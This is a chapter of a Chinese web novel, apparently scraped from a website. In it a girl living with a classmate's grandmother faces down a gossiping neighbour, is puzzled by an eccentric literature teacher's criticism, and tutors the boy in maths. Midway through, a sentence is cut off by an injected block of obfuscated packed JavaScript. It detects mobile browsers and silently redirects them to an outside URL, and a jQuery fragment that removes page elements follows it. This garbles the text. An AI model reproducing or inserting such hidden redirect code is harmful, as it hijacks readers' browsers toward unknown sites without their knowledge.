万事开头难，开头过后便是寻常。
譬如上学，即使向清歌和贺时年走在一起也没有什么可以聊。
但在一起走了一回后，起码，两人不会像以前一样天各一方。
每天从黄桷社区晃出去，在快到学校门时又心照不宣地分开。
看见这个改变，全家最高兴的人非贺外婆莫属。
“唉，住你家的那个小姑娘什么时候走？”社区一角，樊老太随口打听。
贺外婆本来在笑呵呵地晒太阳。
听樊老太这么一问，头顶上的太阳和脸色都没了温度，一齐沉下去。
她硬邦邦地反问：“姑娘住得好好的，走什么走？”
樊老太忽然咧嘴，讥讽地笑了：“你个老糊涂呦！也就只有你把一个外人当成亲孙女，这姑娘再好，人都是来你家里住的。人家图的是住的地方，可没图到这里认个外婆，她难道没有外婆的吗？”
贺外婆和贺时年一样，都想把向清歌当家人。
家人，当然是密不可分的。
听樊老太一口一个“外人”，把他们划分得泾渭分明，贺外婆脸色铁青，扯不出来一点儿好脸色。
“什么外人里人的？”贺外婆赶苍蝇一样挥手，“你是不知道，那姑娘可好了，又乖又懂事，和年年一模一样嗷！”
樊老太不屑地“啧”了一声：“到底是不一样的哦，年年是你一手养大的。你看我大孙子，是爸妈带大的，那就不亲近我。”
贺外婆听了，窝火地想：说得好像小孙子就亲近你似的。
樊老太虽然不喜欢小孩儿，但自己保持着小孩儿该有的攀比心。
几年前的重阳节，贺时年给外婆送了一大束花。
那时候多宝还没有出生，樊老太只有乐宝一个孙子。
这乐宝和贺时年同岁，自然成了贺外婆和樊老太津津乐道的话题。
瞥见贺时年送给外婆的花，又看了看自己那个只知道把自己吃高兴的孙子。
樊老太努力克制着不让自己的眉毛飞舞，心底冷哼一声，开始吃不到葡萄说葡萄酸。
“这花儿贵的很吧，不值当。”
“养两天就死了，不如那种盆栽有看头。”
“这是冤大头才买的东西呦，可惜这几沓钱了。”
彼时贺外婆正笑得合不拢嘴，没把樊老太的这些话放在心上。
不料樊老太反将这件事反复咀嚼，越看自己的孙子越不顺眼，看贺时年也不顺眼。
一直想找机会反击回去，不料贺时年对他外婆实在是无可挑剔。
这会儿多了一个小姑娘，可算让樊老太逮到了机会。
“你啊，别一把老骨头还要犯傻，人家的姑娘就是人家的姑娘。”樊老太越说越来劲儿，眉飞色舞，“你掏心掏肺的，说不定人家转头就把你的心拿去卖——”
“外婆。”
突然，一道清脆的声音打断了樊老太的话。
贺外婆转头一看。
向清歌怀里抱着一盆发财树，身后是拎着两大包购物袋的贺时年。
贺外婆纳闷，头疼地看着突然变成败家子的贺时年：“那冰箱里的菜还满满当当的，你买这么两大袋子东西干嘛？”
闻言，向清歌身形一滞。
她不敢再张口，默默地做一只缩头乌龟。
偏偏贺时年的声音又响起，来拆她的台。
“外婆，这都是清歌买的，给你买的。”贺时年解释说，“菜是准备今晚煮火锅的。”
贺外婆不明所以，手足无措起来，慌乱地去接向清歌手里的发财树。
“我没找到绿萝。”向清歌把发财树递给外婆，“只能买这个了。”
“没事儿，都是有叶子的东西，都一样。这咋突然想起来——”贺外婆想了一下，还是没把“咋突然想起来要给我送礼物”这么生疏的话说出口。
“咋突然想起来要煮火锅呀？”她问。
向清歌抬眸，扫了一眼樊老太。
而后紧紧挽上外婆的胳膊，笑起来毫不掩饰得意：“一家人嘛！我听贺——我听年年说你喜欢吃火锅，就拐他买菜去喽。”
贺外婆也笑了，喃喃附和着：“是啊，一家人嘛。”
一老一小手挽着手，离开的时候，还不忘各自抛给樊老太一个志得意满的眼神。
贺时年跟在她俩身后，垂眼走路。
一句“年年”传进耳朵，那个瞬间，贺时年突然懂了多宝被当狗逗时的心情。
贺时年震惊过后，走着走着，忽然很浅地笑了一下。
“笑啥？”向清歌听见了，转头问。
贺时年一愣。
是啊，自己在笑什么呢？
*
向清歌喊贺时年的小名，纯属无奈。
在外婆面前，喊他“贺时年”的话太显生分。
喊“时年”的话，又有种说不清道不明的诡异。
“年年”这个称呼便得以脱口而出。
这个称呼让向清歌觉得十分自然。
喊起来就像在喊林越一样。
向清歌暗中给自己升了辈分，用姐姐的眼光看贺时年，先前的尴尬都一扫而空。
于是外婆建议让他俩一块儿写作业的时候，不尴尬的向清歌不假思索地点头。
反倒是贺时年，揣着些忽然涌现的，自己都说不明白的扭捏。
台灯下，他坐在向清歌对面，觉得四肢怎么摆都不协调。
当向清歌突然和他说话，他就变异成了被寒冰射手击中的僵尸。
向清歌理完错题，想起边岚的话。
她摸出英语卷子，好奇地打听：“你讨厌数学老师啊？”
贺时年僵硬地抬头，在脑子里过了两三遍向清歌的话。
然后瞥见自己外婆突然投过来的，要杀人的视线。
他浑身一激灵，忙不迭摇头：“没有啊。”
贺外婆的寒冰视线又瞬间化了。
满意地偏过头，继续把那棵发财树往大花盆里移栽。
向清歌尾音上扬地“哦”了一声，又问：“那你为什么要控分？”
贺外婆要杀人的眼神又重出江湖，幽幽地盯着贺时年。
贺时年一头雾水，茫然地“啊”了一声。
“边老师说你每次都离及格线差几分。”向清歌说，“这不是存心拉她的及格率吗？”
贺时年头上绕满了黑线，一时间不知是喜是悲。
喜在向清歌的怀疑实在抬举自己，没想到他使出九牛二虎之力都突破不了的难关，在别人眼里是故意和老师作对的手段。
悲在自己其实压根儿没有作对的实力，凄凄惨惨，全然是考不上去的垂死挣扎。
沉默半晌，他抿唇道：“我下次努力。”
向清歌一愣：“你是真考不上去？”
“嗯。”贺时年应了一声。
遭受重大打击的他埋头默默继续写题，花在数学上的时间比平常多了一小时。
贺外婆的眼神又收了回去，继续和发财树深情对望。
向清歌写完一张英语卷，抖来抖去对答案的时候，还是满腹狐疑。
对贺时年的说法持怀疑态度。
毕竟八十几分的数学成绩在高中来说还算可以，运气好了破百也不是问题。
但每次卡死在这里——
一帆风顺的向清歌不知“瓶颈期”为何物。
哪怕是对于语文这种她不喜欢的科目。
只要有心总结，咬牙搞出来一套方法——足够应付考试了。
在向清歌过去十多年的学习生涯中，她一直秉持着这个理念：在这个分数为王的时代，把分考高，就是最至高无上的目标。
直到她遇到方莫玲。
一位个子矮小，身材微胖，平平无奇，站在人堆里就消失无踪的老师。
向清歌向来不愁作文。
只要会引用，素材足够多，金句足够多，加上字迹也工整，随手就能拼出一片优秀作文。
“抄了太多人的东西，一堆金子被拼成了一团垃圾。”方莫玲站在讲台上，漫不经心地往出抛炸.弹。
向清歌有史以来第一次收到这种评价。
整个人很懵。
特别是茫然的同时，还要顶着四面八方打量的目光。
那一双双眼睛黑黝黝，视线如同天罗地网，密不透风。
向清歌抬头，不敢对视，不敢去探究里面充斥着什么样的情感。
是嘲笑吧，是奚落吧，是幸灾乐祸吧……
就好像面对一扇疯狂作响的房间，她不敢推开那扇门。
只能站在原地心惊胆战，幻想房间里究竟藏着什么样的怪兽，然后愈发恐惧。
向清歌想变成老鼠躲进洞里。
但她还是被猫揪了出来。
下课铃一响，向清歌以为能够松一口气的时候。
“来我办公室。”方莫玲走到她的课桌旁，用课本扎实地拍了两下桌。
向清歌只好硬着头皮挪到了办公室。
“坐。”方莫玲用毫无温度的语调招呼说。
在向清歌僵硬地坐下之后，方莫玲把作文本递到她手里。
“能看出问题吗？”方莫玲问。
向清歌凝神从头到尾检查了一遍作文。
然后一头雾水地看向方莫玲，诚实地摇摇头。
方莫玲合上手里的书，问：“是不是觉得这应该是篇高分作文？”
向清歌犹豫三秒，依旧坦诚点头。
方莫玲倏然笑了一下。
笑得很自然，没有任何嘲讽奚落亦或批评的意思。
向清歌更加不理解这个在办公桌上摆茶盘的老师了。
“按道理，是该给高分。”方莫玲语气柔了许多，倒了一盅茶递给向清歌。
向清歌茫然地接过茶，懵懵点头。
是该给高分，那自己为什么挨批了？
作文题目的核心是“看”，向清歌花了三十分钟造了一篇出来。
什么看他人，看历史，以他人为镜，以历史为鉴。
她有自己写作文的方法，下笔行云流水，一气呵成。
开篇引经据典，引用名言必须要露出名人的名字，向阅卷老师证明自己并非信口开河。
譬如引用魏征的话，就要写：唐太宗身边的谏臣魏征曾说过，“夫以铜为镜，可以正衣冠……”
诸如此类的引用，洋洋洒洒，均匀分布于整篇作文中。
中间的部分，一定要有两三个拿得出手的事例。
这事例不能随便，要么是名人的，要么是当下最有热度的，还要务必紧扣“正能量”的主题。
至于结尾，要点明自己宣扬的到底是哪种正能量，用宏大的词语，华丽的排比升华主题。
一篇高分作文就此诞生。
对了——字迹还要格外工整，这是第一个能博得阅卷老师好感的加分项。
方莫玲问：“你引用了这么多话名人名言，有哪句是水到渠成引用的呢？”
没有任何一句。向清歌心说。
都是想方设法从大脑角落里搜刮出来的。
她哑口无言地看着方莫玲。
“作文要写的东西是‘看’，你知道‘看’分为哪几种吗？”方莫玲又问。
向清歌只知道“茴”的四种写法，不知道“看”分为几种。
“两种。”方莫玲啜了口茶，自问自答地说：“第一种呢，是——”
“叮铃铃——”
上课铃声掐断了方莫玲的话。
话在最关键的时候被打断，向清歌到手的答案又变成鸭子飞走，颇感抓耳挠腮。
她起身，却没走，站在原地求知若渴地看着方莫玲。
偏偏方莫玲的电话铃声又响了起来。
“歪，方老师，这节课要开会啊，又忘啦？”电话那头的声音火急火燎。
方莫玲端着茶杯的手一顿：“哎呦！我这记性啊，马上来，马上来，是明志楼三层对不？”
“笃行楼！方老师，这是教研组的会，今早刚给你说过。”
方莫玲把茶杯慢悠悠地放回去，又用茶壶里最后的一点茶给那只茶宠冲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903478|176737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了个澡。
“来了，来了。”
向清歌被方莫玲临危不乱的良好心态震慑了三秒。
三秒过后，她云里雾里地要回教室。
不料方莫玲又从门口折返回来，拿起桌上一本书递给她。
方莫玲：“帮我给贺时年，就说我觉得他需要。”
向清歌应了声好。
怀里的书是《被讨厌的勇气》，她没看过。
贺时年被讨厌了？
还是他害怕被讨厌？
向清歌心里闪过一瞬好奇。
一瞬过后，化作种子不经意地落在心上角落，等待着在某天风和日丽时破土而出。
*
向清歌进教室的时候，头有点儿抬不起来。
自己刚刚被批得体无完肤，更不用提什么人设。
早塌成废墟一片了。
结果下课，杨乔叽叽喳喳的时候，向清歌才发现，自己的难堪简直自作多情。
杨乔深沉哀悼了一下自己满是红叉的化学卷，转手撕开一包薯片，安慰自己受伤的心灵。
还不忘勤勤恳恳地投喂好同桌。
“老方嘛，人古怪得很。”杨乔回忆地说，“我们班上每个人都被她这么稀里糊涂地批过。说话像在念.经，比文言文还难懂。”
向清歌震惊得忘了嚼薯片：“每个人？”
杨乔点头：“对啊。当时因为我不积极举手训了我，结果第二天我举了，她又神神叨叨地说了一大堆，左右都不行。”
如果这话代入其他老师，向清歌八成会觉得，这个老师一定是看杨乔不顺眼。
这个老师是方莫玲的话——
向清歌也琢磨不出来个所以然了。
“我觉得她是脑子有问题。”杨乔压低声音，认真地说，“我不是在骂人嗷！就是真有问题那种。听说她早年三结三离，二婚生了个女儿，结果女儿被判给了男方，可能是受的打击太严重。”
向清歌对老师的婚姻状况没有兴趣。
特别在听到“离婚”，“打官司”一类字眼的时候，她脑袋空空，尽力甩掉眼前林书婉的身影。
垂眸，兴致缺缺地做题。
*
向清歌把那本《被讨厌的勇气》转交给贺时年的时候，本来想打听一番。
她觉得自己可能有什么受.虐狂的倾向。
夸她的老师一大堆，她左耳朵进，右耳朵出，根本不把那些话放在心上。
偏偏方莫玲的话实在神奇，让向清歌久久不能忘怀。
连带着，对这位老师的好奇都一飞冲天。
“方老师说她觉得你需要这本书。”向清歌把书递给贺时年，说。
她正要张口询问详情。
不料贺时年看清书名，抬眼定定地看着向清歌，眼神复杂。
向清歌被他看得发毛，小声地问：“咋了？”
贺时年摇摇头，看着赫大的书名，越看越觉刺眼，越看越觉难堪。
他不是傻子。
可他周围的人并不这么觉得，相反，他们对自己有着铺天盖地的误解。
除了外婆以外，向清歌是第二个觉得他正常的人。
他从来没有在她的眼眸里看到鄙夷，嘲笑，奚落。
《被讨厌的勇气》，贺时年一看书名就深感刺眼。
谁需要被讨厌的勇气？傻子才需要呀。他看着手中的书，苦涩地想。
而方老师又把这本书给了向清歌，让他转交给自己。
贺时年有种伤疤被人揭开，在熟人面前出丑的尴尬。
“我先算题了？”向清歌看贺时年的神色实在古怪，打消了要一探究竟的念头。
话说完，她瞥见贺时年攥着书的手指，莫名觉得自己应该做点什么。
于是又补了一句，“那个，你要是有不会的题，可以问我。”
还在自我难堪的贺时年倏然抬眼，有点儿震惊，攥着书的力道也轻了几分。
“好。”他轻声说，“谢谢。”
坐在桌前，贺时年又借着摆弄资料的功夫，偷偷覷了好几眼向清歌的表情。
毫无异常。
他在向清歌的脸上只能看到做出题时的功成名就感。
贺时年提笔在草稿纸上点了很久。
最终，他深吸一口气，缓缓把面前的资料推了出去。
“这道题我不会。”贺时年小心翼翼地说。
向清歌闻言，利落地接过资料，全部的精力都集中在了题上。
也没注意到贺时年一直在小心地观察她。
向清歌一气呵成地讲完了整道题。
然后转头问贺时年：“懂了吗？”
神游九天外的贺时年一本正经地点头，嘴角还噙着一丝笑。
向清歌也点头，圆满地笑了。
她手却还在资料上，要帮贺时年加深理解，“那你给我讲一遍。”
贺时年：“？”
向清歌：“？”
相顾无言。
两个人的笑都烟消云散。
向清歌脑瓜子嗡嗡作响，怀疑起自己的讲解能力。
又和题目生死搏斗三分钟，换了种过程相对复杂，但思路相对更好理解的方法，又讲一遍。
事实证明，人在短时间内不能被相同的问题气到太多次。
隔天，面对一模一样的题目，向清歌又给杨乔讲了两遍。
杨乔这个小学生不如贺时年听话，是行走的十万个为什么。
向清歌每抛出一步思路的时候，还得从头解释一遍为什么要这么做，包括但不限于给杨乔重推一遍公式的证明过程。
讲完，向清歌口干舌燥，整个人被掏空，瘫在杨乔肩膀上。
她苦着脸抱怨：“给你讲题比给贺时年讲题费劲儿多了。”
杨乔手里的笔斜倒在桌子上。
她目瞪口呆，傻傻地问：“贺时年？”
这和贺时年有什么关系？
向清歌又和贺时年有什么关系？！
向清歌：……
她也傻了。